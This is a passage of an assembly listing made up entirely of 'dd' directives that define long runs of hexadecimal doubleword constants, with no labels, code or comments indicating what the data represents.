		dd 0C82E96A8h, 40DB4AACh, 0B7FE224Dh, 4EEB7h, 2F4ADBC8h
		dd 4D621446h, 0B0099D26h, 8ECED309h, 0EC814E4h,	54FD6111h
		dd 9F1504A0h, 88AEBB88h, 560075CCh, 0A236255Bh,	9EF53D17h
		dd 6C66ADB8h, 77E3F212h, 8C10DCF8h, 3D2700C9h, 0B11EB074h
		dd 3424BDA5h, 8CED0Fh, 0DACB4402h, 0DC9E18h, 0E1133CB4h
		dd 57840912h, 16AA300h,	7537F0F1h, 999CA1F2h, 2A099832h
		dd 0EF0022A9h, 501E5584h, 0E2FB0A00h, 3D714F30h, 80655AB3h
		dd 0AD2A86CCh, 0D0B3E8D2h, 54F75602h, 6E55E0DEh, 56049E60h
		dd 2A00C846h, 0E4E33D1Eh, 8709143Ch, 5B8677B6h,	57AF5870h
		dd 0E7E3C807h, 9973D5F8h, 5D210039h, 0C6C3792Ch, 2B00C5B1h
		dd 0FFCE17E5h, 18E395Eh, 3413018Ch, 0CF89B0A5h,	51BAF827h
		dd 350C0044h, 0C03C9CEBh, 0AD922F00h, 91346F30h, 94E70153h
		dd 78E3F6DFh, 4D87C63h,	0F4EC22A6h, 755C32BBh, 34628700h
		dd 5AC30581h, 0F1FDC165h, 0F03E2B74h, 0AC00CB23h, 348EA6CCh
		dd 38F42371h, 2DA4582Dh, 0D450559Fh, 7441055Fh,	2F933484h
		dd 2DA45824h, 988940FDh, 8354A818h, 0FE4F1500h,	87C9793Bh
		dd 22AFE17h, 7DDBE455h,	2AE17335h, 98352E83h, 0DDC864CBh
		dd 0D5AB96C0h, 3B88008Fh, 0BA37ACA4h, 6D5E5B8Dh, 3F1E7CB2h
		dd 2F88E874h, 70B74328h, 930CAD00h, 1265D0C0h, 0E61B52B1h
		dd 0E4824BC0h, 0D4020BC9h, 0C05CA74Dh, 25EDA450h, 94CEC2D4h
		dd 0A820225Bh, 0B47332ACh, 0B65ABC04h, 0D068E3F8h, 76A501h
		dd 9C906FFDh, 0DDB33CC0h, 8E4CB15Ch, 0C4CEF60Bh, 5BC0CBC8h
		dd 17809276h, 40733B2Ah, 0F73452E8h, 2EF9350Ah,	0B70D7061h
		dd 3206000h, 5164049Fh,	40E770A0h, 9C3E9BDCh, 0D47A0927h
		dd 64605680h, 1536Ah, 41A33D82h, 8080093Eh, 0D0974470h
		dd 6FC540F4h, 332010BFh, 0E0EC1ACEh, 90DF1491h,	1778FE1Ch
		dd 0A3487Eh, 0AE546650h, 0A609BFDDh, 708285ABh,	0DB8B0B34h
		dd 0C56C5CFh, 0B95B3F02h, 808056A5h, 0CABF2975h, 2512A779h
		dd 68C2C864h, 8288E077h, 9D929CDh, 8C71A7ECh, 580C642Ch
		dd 97A031D4h, 0A11B3C00h, 66543239h, 42E95F8Ch,	0B255EC94h
		dd 65308264h, 649455C7h, 0CC709725h, 8494218h, 22FDF58h
		dd 0A7994B24h, 71766501h, 0C470ACCDh, 0C8C571BBh, 0E080AE59h
		dd 0ACB48C92h, 0B6384A4Eh, 5B623A64h, 60A744E7h, 521E430Ch
		dd 74FCE324h, 9158172Dh, 5FC29C38h, 7E9758E9h, 68532520h
		dd 40DCCDA5h, 0A59FEB24h, 0D3BDEE03h, 6B05F0h, 78D7A621h
		dd 11DAA0F5h, 0E29AEC0Fh, 0CA0AB685h, 1605E8BDh, 0E4940D6Fh
		dd 1B06EBAh, 4755D5A0h,	32EDAB3h, 0BCDE3D8Ch, 0D7E068A6h
		dd 0F061CA80h, 0A45C34C5h, 0A680C511h, 0EA27B0D0h, 0A717054Eh
		dd 0BBD835A0h, 8F9AAC44h, 19F048B8h, 144B60A6h,	13CC1C88h
		dd 9C47CF6Ah, 621AB2F0h, 5419742Fh, 4ACC40CCh, 0F4BA4CFFh
		dd 3D75EB03h, 3A746234h, 0B14AEA08h, 0BF199268h, 6E3BA004h
		dd 0B164C545h, 0B8483968h, 332C08CCh, 0AE026017h, 71C28425h
		dd 50A21138h, 0CD4847C4h, 2C69132Ch, 0BD0220A2h, 0E995A333h
		dd 884B280Ch, 8A4B0FA0h, 40B7E4F6h, 0CE9F59B4h,	1778E913h
		dd 8A4A68ACh, 6C417458h, 0E068A62Eh, 1F52359Eh,	0CCC6D971h
		dd 9854E88Fh, 7CCEBA4Ah, 0F0629F2Fh, 0C2044D55h, 0ED405C1Ah
		dd 0BF0EF50Fh, 9742B2EBh, 1F8D24F0h, 923FA2D1h,	8488B281h
		dd 0B8AC2829h, 8CC2ECh,	93B9367Fh, 0DE8FE41Ah, 77C9917h
		dd 0CE6F8090h, 362B0B32h, 80171C17h, 1180CF91h,	0D29B6BD1h
		dd 0E0576102h, 0C08C396Eh, 83DE7344h, 14665A88h, 0A0183Fh
		dd 0E07C9D37h, 1A6BA94h, 3D7EAD19h, 7EA750E3h, 8C7F603Bh
		dd 0C7EAA505h, 41ABEDDCh, 276AB4D0h, 34C10476h,	8E6FDE0Ch
		dd 0C0DEC81Ch, 26468D58h, 0C11840BDh, 44539509h, 5ED4D625h
		dd 26137C46h, 162001FAh, 0B83077h, 9FB0A4B7h, 11F72448h
		dd 0C10D610Eh, 5CC8D7E7h, 2C1002C2h, 361650AAh,	915497DDh
		dd 0E0C58F37h, 9A091803h, 632C0BF2h, 687251A3h,	10A19D5Eh
		dd 0DAF24872h, 0F6A28530h, 4CE28Bh, 0CF2707E2h,	0F5662F7h
		dd 1E51EF05h, 50C89F9Dh, 992D00EDh, 34655B41h, 2E04C9BAh
		dd 8AC8D9EEh, 0C080DABBh, 4548E683h, 8B0600ACh,	584B4C13h
		dd 0ECB42C0Fh, 1FCC5588h, 870713E8h, 9177D948h,	77F0600Ch
		dd 89FF8A26h, 0F490DC74h, 2463EA00h, 3C9CBC65h,	6123259Fh
		dd 1F41C5Ch, 693F3CCEh,	806A0795h, 0E9928269h, 4423315h
		dd 50B21696h, 4457AB3Dh
		dd 79A28CA3h, 0D207C31h, 4A4F0427h, 0C82C78FCh,	0E21D87D4h
		dd 94ACA8DCh, 3641B880h, 5A40EB8Fh, 2DF41F7Ch, 8E7760E8h
		dd 0B51A7000h, 0A7C6B344h, 2B4EAECh, 0EF30EA2Fh, 0F0DC09C2h
		dd 9F6B28DEh, 5E7634h, 8247A544h, 7FE2AB69h, 107AC05h
		dd 6EAAB1E9h, 391D01BCh, 3D854B84h, 97ADDDF8h, 0DC3EE0B9h
		dd 0BE448F6Ch, 58E76A7h, 0A4662EBDh, 64F858h, 0B0F1566Dh
		dd 2F97EE76h, 8CD0FE81h, 0C0A06DBDh, 0E8616BECh, 7160A500h
		dd 0A0E5029Fh, 0F32E4E5Bh, 307DE2A0h, 0B35B8E51h, 0DB6C58C1h
		dd 613D1100h, 9C0F8101h, 1BF7A224h, 6108A5ECh, 0BCA0C027h
		dd 6497CEF1h, 0E30BC63Fh, 0E8820C43h, 85CA4F0h,	8A7D0E57h
		dd 5AB1B9A0h, 649EE71Ah, 0E8FB9B43h, 0A8A52Fh, 0A084EB6h
		dd 0AB452123h, 0E1074B02h, 0D29E5CFEh, 0D45300A8h, 0D37AA30Dh
		dd 42047550h, 0F1AC2A08h, 548580C4h, 7E88708Eh,	0A886C7CFh
		dd 2425C770h, 503897DAh, 10B88115h, 544A3B25h, 993478B8h
		dd 0F738D609h, 51E854F0h, 8904D285h, 0C060DAAAh, 8EDD3E3h
		dd 92DD00A3h, 2AC2BC07h, 80959343h, 0B73FAC4Ch,	83EC3C59h
		dd 0AD7CE424h, 0F2C0B0CDh, 23ACAE0h, 0C5C17C4Ah, 4755BA60h
		dd 50997CF0h, 8E187E71h, 609DC176h, 94BB8418h, 2CFEE938h
		dd 0B280D08h, 28542254h, 414EB51h, 0AB529BCCh, 6B2C0C70h
		dd 8B51C003h, 185A9AE1h, 88A8674Ah, 23883A92h, 40621FCDh
		dd 17FD7EC5h, 6D12DBD4h, 0C0AC8B69h, 0E06FBB92h, 6800034Ch
		dd 98F2F609h, 271D115Ah, 79925D69h, 644D30E2h, 420230BCh
		dd 0B9E81D02h, 7C10DDD7h, 7000DA10h, 5B204C26h,	252AACB0h
		dd 874485Ah, 6C70C647h,	160E5BBh, 6225F431h, 20B2FC58h
		dd 50273D96h, 9E8488Ch,	0FEE6A7h, 0DCE418E5h, 0EF87C7C8h
		dd 0A0965803h, 0C4F40FD3h, 0EAE080AAh, 6DBF4895h, 899BC00Ch
		dd 38048F43h, 2DC8ABDAh, 2340B180h, 0DCCE95CAh,	7378EA17h
		dd 0FCD4BCE0h, 0B4B74B15h, 0C641F39Ch, 87B89B6Bh, 822B2F6Ch
		dd 55DD89ECh, 6800F0C4h, 3F7A5DBAh, 25038C9Ch, 50742B55h
		dd 74A01F16h, 0C1BB2D3Ch, 1680EC40h, 0C5DEF61Eh, 23AEC0D3h
		dd 0C1002240h, 70FB7A87h, 1A3EFF31h, 39B0FDBBh,	4295B878h
		dd 0DC08D4D8h, 8E6B520Eh, 0E950437Ah, 0D0A8AC31h, 58CB5F8h
		dd 81BB3FBCh, 2010D0CEh, 0A388CA0Bh, 9C49E35h, 8B550FDEh
		dd 79C8512Ch, 2418DCh, 0EDFB9C2Eh, 29B0C4AFh, 7871DF60h
		dd 80082C3Bh, 30A540FCh, 7960DDC4h, 3A05C646h, 4665D5Ah
		dd 0A514B4h, 0BB45FBDAh, 124A4E14h, 0F1007A71h,	48D6F775h
		dd 28DAD27h, 0DF1A9EACh, 445F41A0h, 7C0B20B0h, 0B150909Fh
		dd 0A6DD1E6Bh, 7248C021h, 3147A71Ah, 52CB230Eh,	5AEEEB97h
		dd 973DE6CCh, 0D8C7E466h, 0A50425C4h, 4B048BAAh, 0C4A8A8FDh
		dd 8B6F810Fh, 20B2B7FAh, 590B0071h, 0A5BF3B2h, 0E4004577h
		dd 33F44DBEh, 6494C5A7h, 0AE1680B3h, 0DAEB8874h, 0A0B28028h
		dd 3B77899Fh, 2CC98C13h, 39811638h, 8F1E6C7Fh, 38F4207Bh
		dd 0E89F902Dh, 31E2C4h,	0B50A65DFh, 80FC21C1h, 6E02D8B8h
		dd 0C6F07C8Eh, 18225781h, 5168B58h, 383CF2DAh, 2034ABA2h
		dd 25DC01EEh, 3CCDD153h, 60E884B8h, 3B7C0C19h, 0B1212802h
		dd 0FF4C72A3h, 63A4566Ah, 0DBB050BCh, 69E261BBh, 9F00CC76h
		dd 7A8D121Dh, 3020AC8h,	0FFF68291h, 0C6942A8Eh,	0BA1C49ACh
		dd 80CF011Fh, 0E9C8C137h, 0C16E1B78h, 2E2D06ECh, 77D4EC67h
		dd 10D408BDh, 0A46FAFD3h, 4886C1Dh, 0AA7468A6h,	102F08DCh
		dd 0B294348Bh, 0C4971A0Bh, 0D380DB11h, 7D95597Ah, 0F5CF0E01h
		dd 774B2CFFh, 0B8C1D054h, 996A3DBFh, 0C86A2BD8h, 78FD9600h
		dd 0DFB062F0h, 0E9A0A205h, 88F1E330h, 87F0C57Fh, 778E424h
		dd 21C9EC24h, 473B6E7Ch, 225E6068h, 108F25ECh, 0C054C78Bh
		dd 0EB80091Dh, 0CDB8A561h, 17E09ADCh, 0E3A8B11Ah, 525B2798h
		dd 0EB6F09E4h, 10553396h, 3078E870h, 3120C0C7h,	9905EBFCh
		dd 0F425A736h, 118B70E8h, 0A100A854h, 0EB3B2819h, 0BB882DEFh
		dd 6171387Bh, 9577E3F8h, 1DE7A86Dh, 0B6342553h,	0D6761DA0h
		dd 0DD054FC1h, 54F099EBh, 1817B701h, 7015A56h, 464182Bh
		dd 0FB4AAD05h, 0EFE8E8BDh, 0C0EA492Fh, 0A17410C0h, 0E6703C8Ch
		dd 1300B9C6h, 0C270D747h, 0D86AA6BDh, 0A44F4856h, 28B83952h
		dd 0B0C4E64Fh, 1AF5790h, 7A6126FFh, 2BE19D5Bh, 925AF428h
		dd 8C5B9F94h, 121F6170h, 0AC07C751h, 7B100340h,	89762E1Ch
		dd 8DF0ACADh, 88C2736h,	3F9B5868h, 13007176h, 0F7B06535h
		dd 1FC854Fh, 8B51183Dh,	0F0F90136h, 8F740D1Ah, 20F21E4Ah
		dd 6D7830Fh, 0DBF1FFC0h, 760FCB63h, 32907D8Fh, 375C01AAh
		dd 308D5E66h, 0C8B25314h, 2C37BDh, 28CB5E57h, 0E4047C7Bh
		dd 0A1B16A48h, 0B5C134F8h, 2BD9097Ah, 0E610088Eh, 54EC4B38h
		dd 3FE41D02h, 0D4718772h, 0AD18DB79h, 35065900h, 82B3D59Ah
		dd 812A255Fh, 74915CCEh, 2918DF71h, 0D8C6CC00h,	511BE7C5h
		dd 80144B39h, 0FB632A50h, 0D92F389Ch, 8D3480C4h, 0D9975E98h
		dd 0C04A8978h, 9FF82CA9h, 0D325700h, 0AD5B3EFEh, 18C795D1h
		dd 50785B27h, 2001D42h,	0B84AFBC7h, 161B0610h, 0B87F30EBh
		dd 290978F0h, 73CF4024h, 13AC8784h, 4F3130DEh, 74AA10Dh
		dd 0BFD88CE5h, 0D4D7006Ah, 670E1DC6h, 403DF445h, 27EC58F7h
		dd 0F14C5959h, 3E2187Ah, 939B9005h, 5EC9F00Dh, 0BFC4410Ch
		dd 20B00451h, 2D24BA7Fh, 648BEE9Eh, 1A41E456h, 5B20B9D9h
		dd 628B1F65h, 3F9F8A8Eh, 2792808Ch, 0D007DE64h,	0AE5B3700h
		dd 9447C43h, 425E160Ch,	5FE0A9D5h, 0A600D8E2h, 4EF4A8B6h
		dd 76124C70h, 0C00B4B8h, 305BB227h, 8A170093h, 6D29EE1h
		dd 0CB127A8Eh, 0E8ACA418h, 98901122h, 63933B1Bh, 0C4F5F8C8h
		dd 12BCA3D6h, 0BE285B28h, 70F4F420h, 68C500F8h,	0C73A4B32h
		dd 20B187Ah, 0D9DA6450h, 6C1F88F8h, 0F721A609h,	0A2143410h
		dd 0FEFA6400h, 0E68B422Ah, 0DECA024Bh, 0B3086F7Ah, 95E010F7h
		dd 0A48C0026h, 4E43691Ch, 3F7A90A9h, 7FCAB360h,	46F2168h
		dd 0CA021518h, 20B0AC79h, 3D8002DAh, 9FBAEB7Fh,	22174C44h
		dd 0C04B626h, 7603A8E9h, 9916A430h, 6806123Ch, 650811B9h
		dd 0AB9A30A6h, 80BC1048h, 2F2BAF1Bh, 0B158070Fh, 3F2884D0h
		dd 181B68D7h, 9740E8DCh, 242DD8D2h, 444CD80Fh, 0D8B8FFDAh
		dd 0E0C08720h, 2CCD19A9h, 33B9C0A6h, 3B8900ACh,	2B1DFC65h
		dd 73E10193h, 0F5969171h, 0A77C7013h, 39CE7540h, 49DB6C25h
		dd 30D50D4Ch, 0B0694854h, 0F62218F8h, 3DA619ABh, 20A8669Dh
		dd 41B7B838h, 105564Ch,	134AACF0h, 1620294Eh, 0CA3C020h
		dd 0F430A3B2h, 23333C2Ch, 25251049h, 7C8EA4FEh,	5E90FAE0h
		dd 940DDC38h, 0C0B1BDE3h, 0F20242E9h, 1700905Ch, 0AB3AAC64h
		dd 93E4BE46h, 0D34CFC21h, 0CFD81C02h, 5F9C92DAh, 77009CB7h
		dd 474E8328h, 903BE39Fh, 65B95B08h, 771F1600h, 0EFC971DEh
		dd 0A3985A1Ah, 37AFC0CCh, 569E1512h, 41B044B6h,	0B12C48FCh
		dd 0BB09A827h, 12B4D6A9h, 34C8E474h, 0A6B650Fh,	60A168E0h
		dd 31B33F17h, 20C44895h, 3ADE421Fh, 12B920F5h, 0E2FCAF2Ah
		dd 0ECE8A5CCh, 0E4270980h, 910FB554h, 4025C547h, 70800799h
		dd 3268793Fh, 0BAA90D50h, 1037DDh, 8DEFBAD6h, 1E88AD09h
		dd 661200E0h, 0E2209CD8h, 45B556F3h, 381A9194h,	58A6DA42h
		dd 0DB307BA2h, 42541D24h
		dd 7C23C037h, 1328F55Ch, 3EA4E251h, 86E0CCA6h, 0E9523D61h
		dd 79370088h, 69946628h, 0F4F99712h, 352C644h, 78497708h
		dd 58F3344Fh, 187AD889h, 58F0DB95h, 0F71E552Fh,	0C54498CDh
		dd 0C812BD4Ch, 0A3077CD8h, 0F3705D81h, 0D9A96960h, 0A88A4ACEh
		dd 0AB56A254h, 4084D8B4h, 1C5B17C3h, 0F84EC86Bh, 0DB5C8044h
		dd 123CCB28h, 0FFD579B3h, 2FFF424h, 0D1752170h,	2F90B85Ch
		dd 50706BD2h, 8DA28F8Ch, 0FEA7AC56h, 0FCE5DC24h, 9604AAA6h
		dd 0E6434CD8h, 0AE4C75ABh, 1101086Ah, 0E5E7EBF9h, 0DDDD47A4h
		dd 44B12BA0h, 7B19DF0h,	0C18DFDCh, 0E1E5F4F4h, 0A4102B18h
		dd 8C34AC38h, 0CD9C1800h, 8EC33645h, 0A82E1276h, 0BC28BD8Ah
		dd 4F840071h, 0D04806Ah, 6C982F36h, 97A76520h, 8C4288D9h
		dd 883120BEh, 0EC007DD0h, 0F637CDA3h, 0AA2A04A7h, 70445DBCh
		dd 0EAF36D0Eh, 0EBD6846Fh, 946698E0h, 7C7681D4h, 2ADC73ACh
		dd 3BA2A4E3h, 582D4A30h, 3F22BC9Ch, 34E18D5Ah, 6544882Bh
		dd 0AC4B560Eh, 8F0FA030h, 0BD5B58EBh, 62D6BC07h, 3AD5C8C5h
		dd 0B5FF0h, 46D604FEh, 8CBB0438h, 80914F09h, 5E3B33A6h
		dd 0AA055368h, 2CE93474h, 641F15A8h, 9B40D16Ah,	0A4B888ABh
		dd 0A4C897C5h, 3545A66Eh, 0BB14E1D7h, 66CC497Eh, 11681F77h
		dd 0D52D8031h, 151A4C0h, 80D493EFh, 6FD0EDA7h, 74AA1484h
		dd 6CDAAEACh, 5256A680h, 2A093ECFh, 0B3AC8AE7h,	0CB43D100h
		dd 4E081F6Fh, 91A4CF3Bh, 6012ABE4h, 91E09CE6h, 0E80446A7h
		dd 0F6493DDFh, 52342482h, 0F5F70268h, 1E017C8Eh, 8A4A74DAh
		dd 0D5C0109Ah, 41B21153h, 0B1575006h, 2F2147ACh, 7CAB2C76h
		dd 6B006844h, 421A611Ch, 0EFC1Bh, 2B953129h, 0AFD23D17h
		dd 0EC7AA901h, 71DD2D0Ch, 88BC8F3Fh, 0DCDEC9D8h, 0DCE8180h
		dd 9CF2AB0h, 0D6D5533Ch, 7C5C900Bh, 4835DC40h, 4EBA00C7h
		dd 333B091Ch, 0DD3F4010h, 0F540039h, 0E6816CA3h, 0B0144A3Ch
		dd 227F2FC8h, 0DB8BF101h, 0EDA36BB8h, 0E10FA86Dh, 82D7A0D6h
		dd 0A7D5BAE4h, 0DAE211ACh, 62585C40h, 4C5AC5CEh, 10AC145Ch
		dd 2E2FA901h, 3E459CF9h, 0FFD89482h, 0CB69941Ch, 0B4B7D5D1h
		dd 3C859702h, 8D386055h, 881309ACh, 0B811339Fh,	1CA63A18h
		dd 74423BEh, 0C90E6713h, 0FD28B980h, 804FBA7Fh,	0B5C8EC8Bh
		dd 0C8EC86C5h, 7D6D9B81h, 2A8EC463h, 0E3F1AE12h, 2FC4A4ADh
		dd 0ECE0F8BAh, 8B7C8CDBh, 329DE30Fh, 0CF062374h, 415FB1CCh
		dd 1058CE6Ah, 0C15AB3B1h, 3FF08E40h, 0EB0114A2h, 2AE33C1h
		dd 0AFB0BE79h, 54E0D18Dh, 5DBC7D1Ch, 8D64BF01h,	4865E7F0h
		dd 2FD89D2Ah, 8FA04CE6h, 0E21E8A0Eh, 0B25122B5h, 4A38A84Fh
		dd 0C2C8ACDAh, 80EE53C3h, 0B63E7EDh, 0B3C1439Fh, 3B1EC418h
		dd 9BAAA509h, 61E456C5h, 654B40E8h, 6D4442C8h, 641E832Fh
		dd 4C194F8h, 2421D583h,	478DE61h, 252AC380h, 0D0BE70B9h
		dd 0D732A662h, 0DC2C4C18h, 7268E183h, 0D4485CF2h, 8001CE46h
		dd 6D68C301h, 0C89C5B52h, 0CEAC0CFh, 3C00EB16h,	8F276684h
		dd 978A820Ah, 19A63C18h, 0AF4C519Dh, 23C1FC6Dh,	7ED8ABBAh
		dd 0FC0750AEh, 84EB4B74h, 889EEF20h, 0D14BC880h, 361207ABh
		dd 28B8C731h, 0AABCC44Dh, 4CD9F400h, 0DFB67FF8h, 0A96D2D50h
		dd 50C6859h, 7F63173h, 7B6AF5EAh, 0D63CA01Ch, 311E5D44h
		dd 48425A4h, 80FB61A8h,	16416228h, 2CE3BB4Ah, 0BA25A612h
		dd 18FDA057h, 0A070F6D3h, 0F08DCF2Fh, 708826D6h, 5C5B254Ch
		dd 2936C70h, 3D03E23Ch,	0AEE17879h, 17823BEh, 6D9AFF64h
		dd 55E28D58h, 0B51174B5h, 28712289h, 0F7784A84h, 3282B4D4h
		dd 7070C0D0h, 6CE70081h, 16C99509h, 0F3958ABAh,	168158B8h
		dd 56279C9Ch, 0B546D610h, 0BF49BD34h, 4AAEACC8h, 2760E7A9h
		dd 11389F8Fh, 0D94F8344h, 6D6CC077h, 510C0033h,	0BAA942D4h
		dd 1E267A8Eh, 3C125F28h, 76BBE892h, 73465ED0h, 8C79EC25h
		dd 5AC3A703h, 0A8BDE87Ah, 54AE3AB9h, 4F8EE101h,	0C2ECC20Eh
		dd 7F443AD7h, 5000A0B5h, 9E7EB323h, 84DF4811h, 7056512Fh
		dd 65EB8100h, 0F3DF667h, 2F6195FFh, 7A742F9Fh, 0B2C903DCh
		dd 17B98D89h, 0B5FF4603h, 0B7ECBACEh, 2A79BDC1h, 6A7F19A7h
		dd 0E441F5D2h, 3FDFC83h, 300F0280h, 605B7584h, 0EBF94AB0h
		dd 0FE3A1100h, 55D1912h, 13C5381Fh, 2BA79F00h, 8B611A33h
		dd 30558516h, 3AEE7AFEh, 649F0566h, 0DEBFC6E1h,	0E9BAC199h
		dd 0E27A6A66h, 2EF000AFh, 94E31258h, 9A7700F6h,	8B6F1704h
		dd 0C7095FF9h, 0DF27A985h, 0F42FD6F9h, 9D8DC181h, 0BF66010Ah
		dd 0AD200321h, 0ADFF71F3h, 9FB5E2D9h, 40CF4FFFh, 6982BBB0h
		dd 60B90C02h, 908D9D8Bh, 17E681EBh, 0FA61BCA1h,	8A509C30h
		dd 48919F9h, 0F8297424h, 0FBFD2E5Dh, 0F0DBBEC5h, 74F52CC0h
		dd 0F0BF8FCCh, 0F672C137h, 7B05ED96h, 0D1E0B8B6h, 3A0B1929h
		dd 0DDE94D6Bh, 12243E90h, 0D4B3D700h, 91BBA579h, 12467A6Bh
		dd 2C0835Fh, 45D9D73h, 41509002h, 9D4FA6Fh, 0EDED5FBDh
		dd 0B5ED5BB4h, 0E2680DBCh, 0F305AF3Ah, 9DFED89Bh, 79F67B22h
		dd 0AA1B62A0h, 5760CA30h, 108938B3h, 412F7185h,	42FFC6E0h
		dd 9323724h, 0E22485DFh, 2967888Ah, 0D118149Bh,	4F4DCF7Eh
		dd 379CAAFCh, 44FF8A69h, 0EEE00B0h, 1D1870E3h, 21ECF515h
		dd 0B44B2F09h, 8C20846Ah, 0A6E59B98h, 12E830C9h, 0FE5D881Bh
		dd 5A79D300h, 42A4D91Eh, 0EE8E7A05h, 13110655h,	0B6905BACh
		dd 0A1FC0144h, 0A37AADB9h, 3015E2ECh, 0E090801Ch, 0E9879D05h
		dd 8BFE0F32h, 9741705Dh, 736BEA3Bh, 0BBB7E00Bh,	11B7DDh
		dd 9A8B2D48h, 730950B0h, 2345F86h, 726416Ch, 96D16529h
		dd 0DFA1820h, 4BBB8182h, 77F2EC90h, 2D606D4h, 0ABA8F66Fh
		dd 9E402F40h, 444D6EBBh, 0F0B64617h, 2780C5F9h,	667DF5DBh
		dd 9D2B1230h, 0BFC85339h, 1AB2B8E6h, 0A0957F30h, 2CF83CBAh
		dd 1076039Eh, 0D98B1705h, 0E55C67FBh, 6A9F4F39h, 99B58BBFh
		dd 4FBB7D20h, 460924EFh, 2DAB70Fh, 0E07C936h, 43211E49h
		dd 7EB58531h, 0BC4825E2h, 1729F110h, 35EB70E6h,	0B391FBAEh
		dd 0FA050F41h, 40F8C493h, 5271E0BFh, 4076E612h,	0B6040F17h
		dd 0BADA8BC8h, 62B9A598h, 60C1C726h, 0CD1DF60h,	64F25281h
		dd 0DA40093h, 11C08B63h, 61145F50h, 29EE8C1h, 0D8A098D7h
		dd 0D4814007h, 9958BFDEh, 0A5A15CCCh, 0F8C8062Bh, 0CCD18BF9h
		dd 0FE1F652Fh, 3DF2CCBAh, 858B1961h, 0B5FF2B41h, 9B39D8Ch
		dd 498E568Fh, 6007CC86h, 0D9243920h, 8A594512h,	8BD03BFBh
		dd 234C0E11h, 65AADF3Eh, 8F1227Dh, 2F2159BDh, 754066DCh
		dd 0F99EDC4h, 8C0459B0h, 9A277F80h, 4A0EEF94h, 3D1996CBh
		dd 1505FC56h, 8DEA01E1h, 0D8F70382h, 0B65927Ch,	330BA5A5h
		dd 0F290D7FEh, 8077BB5h, 1D575AF8h, 89C379B0h, 10152A95h
		dd 8749EDE2h, 51EBA920h, 23C2CDABh, 13F2B58Dh, 0EDF52D62h
		dd 52C4C051h, 0E717481Fh, 0EB04B183h, 1AA527B9h, 11DB7482h
		dd 0C4F7529Dh, 36E00035h, 0BE655F3Dh, 4A00D9CCh, 0C24DBAB5h
		dd 14485EA2h, 0F609ADFCh, 172E6D10h, 75EF5F5Bh,	0CB6BC2h
		dd 0C602BCC0h, 2EFAE10h, 9973D381h, 71C01ACAh, 0B980068Dh
		dd 87074880h, 101F7984h, 76FC2FD3h, 2908DC20h, 96AECEDh
		dd 879DFCFFh, 9D891411h, 6853C855h, 0F34000BFh,	0ED4A2144h
		dd 0D5E4F9CFh, 78E1D90Bh, 0FE34819Bh, 85C3B85Bh, 80E49EFBh
		dd 0ABCA311Fh, 5B8015Ah
		dd 0F6EBC4Ch, 4BD228Eh,	0B5DBD01h, 0EBD22B05h, 3D808C9Bh
		dd 1EEEB8EDh, 19838524h, 5FD5C100h, 3333AD39h, 0D052D1C2h
		dd 7504E9F0h, 6BABF44Ah, 2CE84B95h, 109C113Ah, 0B9D6685h
		dd 3DD7162Dh, 7EAA0076h, 0F20ECF4Ch, 69205890h,	880D3312h
		dd 4DDA3329h, 958B9EE8h, 0BD265525h, 84AB0046h,	0BB0DE830h
		dd 505E341Ch, 5134166h,	0BCC04751h, 0DDC00267h,	0C513F8F7h
		dd 4B53C60h, 0C25E3C83h, 0C103188Dh, 59A5FF08h,	5B5819C8h
		dd 0E30BC09Dh, 161299DFh, 30800F7Ah, 17C5952Bh,	0F1FDC082h
		dd 7E50821Ch, 0FD24B26Bh, 0B6809737h, 5B31BE10h, 94453878h
		dd 30D39048h, 0B44DCC57h, 0F3C73C07h, 6D138D3Dh, 0B9845E4Eh
		dd 0DDB8C4h, 8671AB77h,	0BA2C6F3Dh, 2311E830h, 0D3CC78h
		dd 0D6AF5FA7h, 0E06071BDh, 0C3F68803h, 9A08A90Fh, 5F52858Ah
		dd 2DB0D82h, 0FF021F51h, 346DFDE1h, 129031C0h, 2642E2EBh
		dd 134FCBD2h, 0D7D905FAh, 0BD4C806Ch, 0BFA6163Dh, 0D404DB2Fh
		dd 0C60EF463h, 640F2F65h, 0EDFA292Eh, 203442F6h, 4EC24301h
		dd 0C0EB8FFEh, 2B33EAFDh, 0DE381E9Fh, 60986C94h, 9E64818h
		dd 17BCA302h, 906052F7h, 220F0340h, 81014C86h, 0E77EE6C7h
		dd 0A133607Ah, 0FD301AA2h, 5EFE05CEh, 0FEED79CCh, 0D83A21C4h
		dd 4A041523h, 90816085h, 0EF620F51h, 72CCD10h, 4E18061h
		dd 6A4010C4h, 581D2D12h, 5D26DB00h, 53225E3Ch, 14C67E6Ch
		dd 0B7C90ADFh, 240A6B25h, 0EA00DE23h, 0E0213A2Fh, 4F426043h
		dd 0A36F40E9h, 396DE772h, 7CCE4B0Fh, 626E0588h,	2869D1C1h
		dd 0A870F00h, 0EBB0FD9Dh, 6D0146C6h, 85334022h,	6E330E61h
		dd 7D3018E2h, 4C9E73B8h, 0FA58D0D0h, 30609085h,	8C62F095h
		dd 0A8BA4Ch, 0AB1A5531h, 98F768Ah, 61BBE5F3h, 90F88482h
		dd 60EF016Dh, 0AD48E5EEh, 440F4CFDh, 17E5FC24h,	108A30F8h
		dd 79007AA6h, 4F3622D3h, 747D1Ah, 46E7CF4h, 0B77B2A9Bh
		dd 78C0F26h, 58448E6Dh,	79BD9E8Ch, 4E88099h, 3FF17C3h
		dd 0B09A871Fh, 0BD236640h, 0BB01007Ch, 57041E78h, 0B71B505Fh
		dd 0BAC38B80h, 0E685152h, 0D3407DB5h, 0E1C0BB7Eh, 7100B0E2h
		dd 0BD5F059Dh, 79FA0140h, 932890C9h, 0B7310F57h, 8B585AE2h
		dd 66609F40h, 0D2F4BF13h, 1742A2EAh, 0DD215B61h, 0B8E7FB8Bh
		dd 0B61DB58Dh, 292D880Fh, 0D516F817h, 0B5092290h, 0F93140FDh
		dd 6592F6E6h, 0CB952938h, 0C685B846h, 67E8B031h, 4C73149h
		dd 1020B218h, 0CC402B65h, 6BB5F2FEh, 0B7DF36CAh, 83BC803Ch
		dd 29638B34h, 2F3984C4h, 1988638Fh, 865CD1C0h, 3E051832h
		dd 0D85B057h, 0D29D0E82h, 6647FD7h, 0BCC1E49Bh,	0C0CA84F5h
		dd 1D49AFECh, 0C3DB93D3h, 667D6C80h, 893FB226h,	0BCA0CD46h
		dd 9AFA0068h, 0B9807469h, 0DD5C9D33h, 3489814Eh, 80420124h
		dd 8231F20Dh, 0D94E79F7h, 9701818h, 0F16911EBh,	0ABB8A116h
		dd 0DD8A5012h, 45B29425h, 0EFB6500h, 2933166h, 0EEED0300h
		dd 8F6F9639h, 8E8B67D2h, 80DE4452h, 29A9BB7Ch, 5A765B15h
		dd 1E663E4Ah, 31464DEFh, 48EBE985h, 0ABD27A8Dh,	8EC037DAh
